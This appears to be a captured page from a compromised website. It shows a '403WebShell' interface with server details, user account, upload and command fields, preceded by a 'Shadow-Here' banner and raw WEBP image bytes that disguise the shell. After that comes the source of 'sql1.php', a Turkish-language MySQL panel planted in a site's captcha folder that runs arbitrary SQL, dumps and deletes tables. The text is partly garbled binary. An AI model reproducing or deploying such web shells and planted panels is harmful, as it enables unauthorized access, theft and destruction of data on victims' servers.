....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 103.184.242.5  /  Your IP : 216.73.217.105
Web Server : Microsoft-IIS/10.0
System : Windows NT WIN-SH57L3CJ6KF 10.0 build 20348 (Windows Server 2022) AMD64
User : IWPD_449(avdheshjha) ( 0)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Inetpub/vhosts/avdheshjha-40766.package/voiceofresearch.org/wwwroot/captcha/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Inetpub/vhosts/avdheshjha-40766.package/voiceofresearch.org/wwwroot/captcha/sql1.php
<?php
session_start();

// Eğer oturum açılmışsa MySQL bilgilerini session'dan al
if(isset($_SESSION['mysql_host'])) {
    $host = $_SESSION['mysql_host'];
    $user = $_SESSION['mysql_user'];
    $pass = $_SESSION['mysql_pass'];
    $dbname = $_SESSION['mysql_db'];
    
    // MySQL bağlantısı
    $conn = mysqli_connect($host, $user, $pass, $dbname);
    
    if ($conn) {
        mysqli_set_charset($conn, 'utf8');
    }
}

// Çıkış yap
if(isset($_GET['logout'])) {
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

// Güvenlik fonksiyonu
function safe($data, $conn = null) {
    if($conn && is_resource($conn) && get_resource_type($conn) === 'mysql link') {
        return htmlspecialchars(mysqli_real_escape_string($conn, $data));
    }
    return htmlspecialchars($data);
}

// Hata mesajı göster
function showError($message) {
    echo '<div class="error">' . htmlspecialchars($message) . '</div>';
}

// Başarı mesajı göster
function showSuccess($message) {
    echo '<div class="success">' . htmlspecialchars($message) . '</div>';
}

// Tabloları listeleme
function listTables($conn) {
    $tables = array();
    $result = mysqli_query($conn, "SHOW TABLES");
    if($result) {
        while ($row = mysqli_fetch_row($result)) {
            $tables[] = $row[0];
        }
    }
    return $tables;
}

// Tablo sütunlarını listeleme
function listColumns($conn, $table) {
    $columns = array();
    $result = mysqli_query($conn, "SHOW COLUMNS FROM `$table`");
    if($result) {
        while ($row = mysqli_fetch_assoc($result)) {
            $columns[] = $row;
        }
    }
    return $columns;
}

// Tablo verilerini listeleme
function listData($conn, $table, $limit = 100, $offset = 0, $order_by = null, $order_dir = 'ASC') {
    $data = array();
    $sql = "SELECT * FROM `$table`";
    
    if($order_by) {
        $sql .= " ORDER BY `$order_by` $order_dir";
    }
    
    $sql .= " LIMIT $offset, $limit";
    
    $result = mysqli_query($conn, $sql);
    if($result) {
        while ($row = mysqli_fetch_assoc($result)) {
            $data[] = $row;
        }
    }
    return $data;
}

// Toplam kayıt sayısı
function countRecords($conn, $table) {
    $result = mysqli_query($conn, "SELECT COUNT(*) as total FROM `$table`");
    if($result) {
        $row = mysqli_fetch_assoc($result);
        return $row['total'];
    }
    return 0;
}

// Tekil kayıt getirme
function getRecord($conn, $table, $id) {
    $result = mysqli_query($conn, "SELECT * FROM `$table` WHERE id = " . (int)$id);
    if($result && mysqli_num_rows($result) > 0) {
        return mysqli_fetch_assoc($result);
    }
    return false;
}

// Kayıt ekleme
function insertRecord($conn, $table, $data) {
    $keys = array();
    $values = array();
    foreach ($data as $key => $value) {
        $keys[] = "`$key`";
        $values[] = "'" . safe($value, $conn) . "'";
    }
    $sql = "INSERT INTO `$table` (" . implode(', ', $keys) . ") VALUES (" . implode(', ', $values) . ")";
    return mysqli_query($conn, $sql);
}

// Kayıt güncelleme
function updateRecord($conn, $table, $data, $id) {
    $updates = array();
    foreach ($data as $key => $value) {
        $updates[] = "`$key` = '" . safe($value, $conn) . "'";
    }
    $sql = "UPDATE `$table` SET " . implode(', ', $updates) . " WHERE id = " . (int)$id;
    return mysqli_query($conn, $sql);
}

// Kayıt silme
function deleteRecord($conn, $table, $id) {
    $sql = "DELETE FROM `$table` WHERE id = " . (int)$id;
    return mysqli_query($conn, $sql);
}

// Toplu silme
function deleteMultipleRecords($conn, $table, $ids) {
    $ids = array_map('intval', $ids);
    $sql = "DELETE FROM `$table` WHERE id IN (" . implode(',', $ids) . ")";
    return mysqli_query($conn, $sql);
}

// SQL sorgusu çalıştır
function executeQuery($conn, $sql) {
    return mysqli_query($conn, $sql);
}

// SQL dosyasını içe aktar
function importSQL($conn, $sql_file_path) {
    $success = true;
    $message = '';
    
    // SQL dosyasını oku
    $sql_content = file_get_contents($sql_file_path);
    if($sql_content === false) {
        return array('success' => false, 'message' => 'SQL dosyası okunamadı');
    }
    
    // SQL komutlarını ayır (noktalı virgül ile)
    $queries = explode(';', $sql_content);
    
    // Her sorguyu çalıştır
    foreach($queries as $query) {
        $query = trim($query);
        if(!empty($query)) {
            if(!mysqli_query($conn, $query)) {
                $success = false;
                $message .= 'Hata: ' . mysqli_error($conn) . '<br>';
            }
        }
    }
    
    return array('success' => $success, 'message' => $message);
}

// Tabloyu dışa aktar (SQL formatında)
function exportTable($conn, $table) {
    $output = "";
    
    // Tablo yapısı
    $output .= "-- Tablo yapısı: `$table`\n";
    $result = mysqli_query($conn, "SHOW CREATE TABLE `$table`");
    if($result) {
        $row = mysqli_fetch_assoc($result);
        $output .= $row['Create Table'] . ";\n\n";
    }
    
    // Tablo verileri
    $output .= "-- Tablo verileri: `$table`\n";
    $result = mysqli_query($conn, "SELECT * FROM `$table`");
    if($result && mysqli_num_rows($result) > 0) {
        $columns = listColumns($conn, $table);
        $column_names = array();
        foreach($columns as $col) {
            $column_names[] = $col['Field'];
        }
        
        while($row = mysqli_fetch_assoc($result)) {
            $values = array();
            foreach($column_names as $col) {
                if(isset($row[$col]) && $row[$col] !== null) {
                    $values[] = "'" . mysqli_real_escape_string($conn, $row[$col]) . "'";
                } else {
                    $values[] = "NULL";
                }
            }
            $output .= "INSERT INTO `$table` (`" . implode("`, `", $column_names) . "`) VALUES (" . implode(", ", $values) . ");\n";
        }
    }
    
    return $output;
}

// Ana sayfa kontrolü
$action = isset($_GET['action']) ? $_GET['action'] : 'list_tables';
$table = isset($_GET['table']) ? $_GET['table'] : '';
$id = isset($_GET['id']) ? (int)$_GET['id'] : 0;
$page = isset($_GET['page']) ? (int)$_GET['page'] : 1;
$limit = isset($_GET['limit']) ? (int)$_GET['limit'] : 50;
$offset = ($page - 1) * $limit;
$order_by = isset($_GET['order_by']) ? $_GET['order_by'] : null;
$order_dir = isset($_GET['order_dir']) ? $_GET['order_dir'] : 'ASC';

// Eğer bağlantı bilgileri post edilmişse session'a kaydet
if($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['mysql_host'])) {
    $_SESSION['mysql_host'] = $_POST['mysql_host'];
    $_SESSION['mysql_user'] = $_POST['mysql_user'];
    $_SESSION['mysql_pass'] = $_POST['mysql_pass'];
    $_SESSION['mysql_db'] = $_POST['mysql_db'];
    
    // Test bağlantısı yap
    $test_conn = mysqli_connect($_POST['mysql_host'], $_POST['mysql_user'], $_POST['mysql_pass'], $_POST['mysql_db']);
    
    if($test_conn) {
        mysqli_close($test_conn);
        header('Location: ' . $_SERVER['PHP_SELF']);
        exit;
    } else {
        $error = "Bağlantı başarısız: " . mysqli_connect_error();
    }
}

// Oturum kontrolü - eğer oturum açılmamışsa login ekranını göster
if(!isset($_SESSION['mysql_host'])) {
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="UTF-8">
        <title>MySQL Giriş Paneli</title>
        <style>
            body { 
                font-family: Arial, sans-serif; 
                margin: 0; 
                padding: 0; 
                background: #f5f5f5; 
                display: flex; 
                justify-content: center; 
                align-items: center; 
                height: 100vh; 
            }
            .login-container { 
                background: white; 
                padding: 40px; 
                border-radius: 10px; 
                box-shadow: 0 0 20px rgba(0,0,0,0.1); 
                width: 400px; 
            }
            h1 { 
                text-align: center; 
                color: #333; 
                margin-bottom: 30px; 
            }
            label { 
                display: block; 
                margin: 10px 0 5px; 
                color: #555; 
            }
            input { 
                width: 100%; 
                padding: 10px; 
                margin-bottom: 15px; 
                border: 1px solid #ddd; 
                border-radius: 5px; 
                box-sizing: border-box; 
            }
            button { 
                width: 100%; 
                padding: 12px; 
                background: #4CAF50; 
                color: white; 
                border: none; 
                border-radius: 5px; 
                cursor: pointer; 
                font-size: 16px; 
                margin-top: 10px; 
            }
            button:hover { 
                background: #45a049; 
            }
            .error { 
                color: red; 
                padding: 10px; 
                background: #f8d7da; 
                border-radius: 5px; 
                margin-bottom: 20px; 
            }
            .info { 
                color: #666; 
                font-size: 14px; 
                margin-top: 20px; 
                padding: 10px; 
                background: #e7f3fe; 
                border-radius: 5px; 
            }
        </style>
    </head>
    <body>
        <div class="login-container">
            <h1>MySQL Bağlantı Bilgileri</h1>
            
            <?php if(isset($error)): ?>
                <div class="error"><?php echo htmlspecialchars($error); ?></div>
            <?php endif; ?>
            
            <form method="POST">
                <label>Sunucu (Host):</label>
                <input type="text" name="mysql_host" value="localhost" required>
                
                <label>Kullanıcı Adı:</label>
                <input type="text" name="mysql_user" value="root" required>
                
                <label>Şifre:</label>
                <input type="password" name="mysql_pass">
                
                <label>Veritabanı Adı:</label>
                <input type="text" name="mysql_db" required>
                
                <button type="submit">Bağlan</button>
            </form>
            
            <div class="info">
                <strong>Not:</strong> Bağlantı bilgileri oturum boyunca saklanacaktır. Çıkış yapmak için "Çıkış" butonunu kullanın.
            </div>
        </div>
    </body>
    </html>
    <?php
    exit;
}

// Silme işlemi
if(isset($_GET['delete']) && $table && $id) {
    if(deleteRecord($conn, $table, $id)) {
        header('Location: ?action=list_data&table=' . urlencode($table) . '&msg=Kayıt+silindi');
        exit;
    } else {
        $error_msg = "Silme hatası: " . mysqli_error($conn);
    }
}

// Toplu silme işlemi
if(isset($_POST['bulk_delete']) && isset($_POST['selected_ids']) && $table) {
    $selected_ids = $_POST['selected_ids'];
    if(is_array($selected_ids) && count($selected_ids) > 0) {
        if(deleteMultipleRecords($conn, $table, $selected_ids)) {
            $deleted_count = count($selected_ids);
            header('Location: ?action=list_data&table=' . urlencode($table) . '&msg=' . $deleted_count . '+kayıt+silindi');
            exit;
        } else {
            $error_msg = "Toplu silme hatası: " . mysqli_error($conn);
        }
    }
}

// Hızlı düzenleme işlemi
if(isset($_POST['quick_edit']) && $table && isset($_POST['field']) && isset($_POST['value']) && isset($_POST['record_id'])) {
    $record_id = (int)$_POST['record_id'];
    $field = safe($_POST['field'], $conn);
    $value = $_POST['value'];
    
    $update_data = array($field => $value);
    if(updateRecord($conn, $table, $update_data, $record_id)) {
        echo json_encode(array('success' => true, 'message' => 'Kayıt güncellendi'));
        exit;
    } else {
        echo json_encode(array('success' => false, 'message' => 'Güncelleme hatası: ' . mysqli_error($conn)));
        exit;
    }
}

// SQL sorgusu çalıştırma
if(isset($_POST['execute_sql'])) {
    $sql_query = $_POST['sql_query'];
    $result = executeQuery($conn, $sql_query);
    
    if($result) {
        if(mysqli_affected_rows($conn) > 0) {
            $sql_msg = "Sorgu başarıyla çalıştırıldı. Etkilenen satır: " . mysqli_affected_rows($conn);
        } else {
            $sql_msg = "Sorgu başarıyla çalıştırıldı.";
        }
    } else {
        $sql_msg = "Sorgu hatası: " . mysqli_error($conn);
    }
}

// SQL dosyası yükleme
if(isset($_POST['import_sql']) && isset($_FILES['sql_file'])) {
    if($_FILES['sql_file']['error'] === UPLOAD_ERR_OK) {
        $tmp_file = $_FILES['sql_file']['tmp_name'];
        $import_result = importSQL($conn, $tmp_file);
        
        if($import_result['success']) {
            $import_msg = "SQL dosyası başarıyla içe aktarıldı.";
        } else {
            $import_msg = "SQL dosyası içe aktarımı başarısız: " . $import_result['message'];
        }
    } else {
        $import_msg = "Dosya yükleme hatası: " . $_FILES['sql_file']['error'];
    }
}

// Tablo dışa aktarma
if(isset($_GET['export']) && $table) {
    $export_data = exportTable($conn, $table);
    header('Content-Type: application/sql');
    header('Content-Disposition: attachment; filename="' . $table . '_export.sql"');
    echo $export_data;
    exit;
}

// Doğrudan tablo düzenleme (inline edit)
if($action == 'inline_edit' && isset($_POST['pk']) && isset($_POST['name']) && isset($_POST['value'])) {
    $id = (int)$_POST['pk'];
    $field = safe($_POST['name'], $conn);
    $value = $_POST['value'];
    
    $update_data = array($field => $value);
    if(updateRecord($conn, $table, $update_data, $id)) {
        echo json_encode(array('status' => 'success'));
    } else {
        echo json_encode(array('status' => 'error', 'message' => mysqli_error($conn)));
    }
    exit;
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>MySQL Yönetim Paneli</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 20px; }
        table { border-collapse: collapse; width: 100%; margin: 10px 0; }
        th, td { border: 1px solid #ddd; padding: 8px; text-align: left; }
        th { background-color: #f2f2f2; cursor: pointer; }
        th:hover { background-color: #e0e0e0; }
        tr:hover { background-color: #f5f5f5; }
        .menu { margin: 20px 0; padding: 10px; background: #f8f8f8; border-radius: 5px; }
        .menu a { 
            display: inline-block; 
            margin-right: 10px; 
            padding: 8px 15px; 
            background: #4CAF50; 
            color: white; 
            text-decoration: none; 
            border-radius: 3px;
        }
        .menu a:hover { background: #45a049; }
        .menu a.secondary { background: #2196F3; }
        .menu a.secondary:hover { background: #0b7dda; }
        .menu a.danger { background: #f44336; }
        .menu a.danger:hover { background: #d32f2f; }
        .menu a.logout { background: #666; }
        .menu a.logout:hover { background: #555; }
        .menu a.warning { background: #ff9800; }
        .menu a.warning:hover { background: #e68a00; }
        input, textarea, select { padding: 5px; margin: 5px 0; width: 300px; }
        textarea.sql-query { width: 100%; height: 150px; font-family: monospace; }
        .success { color: green; padding: 10px; background: #dff0d8; border-radius: 5px; margin: 10px 0; }
        .error { color: red; padding: 10px; background: #f2dede; border-radius: 5px; margin: 10px 0; }
        .info { color: #31708f; padding: 10px; background: #d9edf7; border-radius: 5px; margin: 10px 0; }
        .connection-info { 
            margin-top: 20px; 
            padding: 15px; 
            background: #f0f8ff; 
            border: 1px solid #b3d9ff; 
            border-radius: 5px; 
            font-size: 14px; 
        }
        .pagination { margin: 20px 0; }
        .pagination a, .pagination span { 
            display: inline-block; 
            padding: 5px 10px; 
            margin-right: 5px; 
            background: #f0f0f0; 
            border: 1px solid #ddd; 
            text-decoration: none; 
            color: #333; 
        }
        .pagination a:hover { background: #e0e0e0; }
        .pagination .current { background: #4CAF50; color: white; border-color: #4CAF50; }
        .action-buttons a { 
            display: inline-block; 
            margin-right: 5px; 
            padding: 3px 8px; 
            color: white; 
            text-decoration: none; 
            border-radius: 3px; 
            font-size: 12px; 
        }
        .action-buttons a.delete { background: #f44336; }
        .action-buttons a.delete:hover { background: #d32f2f; }
        .action-buttons a.edit { background: #2196F3; }
        .action-buttons a.edit:hover { background: #0b7dda; }
        .action-buttons a.view { background: #ff9800; }
        .action-buttons a.view:hover { background: #e68a00; }
        .action-buttons a.inline-edit { background: #9C27B0; }
        .action-buttons a.inline-edit:hover { background: #7B1FA2; }
        .tab-container { margin: 20px 0; }
        .tab-buttons { display: flex; border-bottom: 1px solid #ddd; }
        .tab-button { 
            padding: 10px 20px; 
            background: #f0f0f0; 
            border: 1px solid #ddd; 
            border-bottom: none; 
            cursor: pointer; 
            margin-right: 5px; 
            border-radius: 5px 5px 0 0; 
        }
        .tab-button.active { 
            background: white; 
            border-bottom: 1px solid white; 
            margin-bottom: -1px; 
        }
        .tab-content { 
            padding: 20px; 
            border: 1px solid #ddd; 
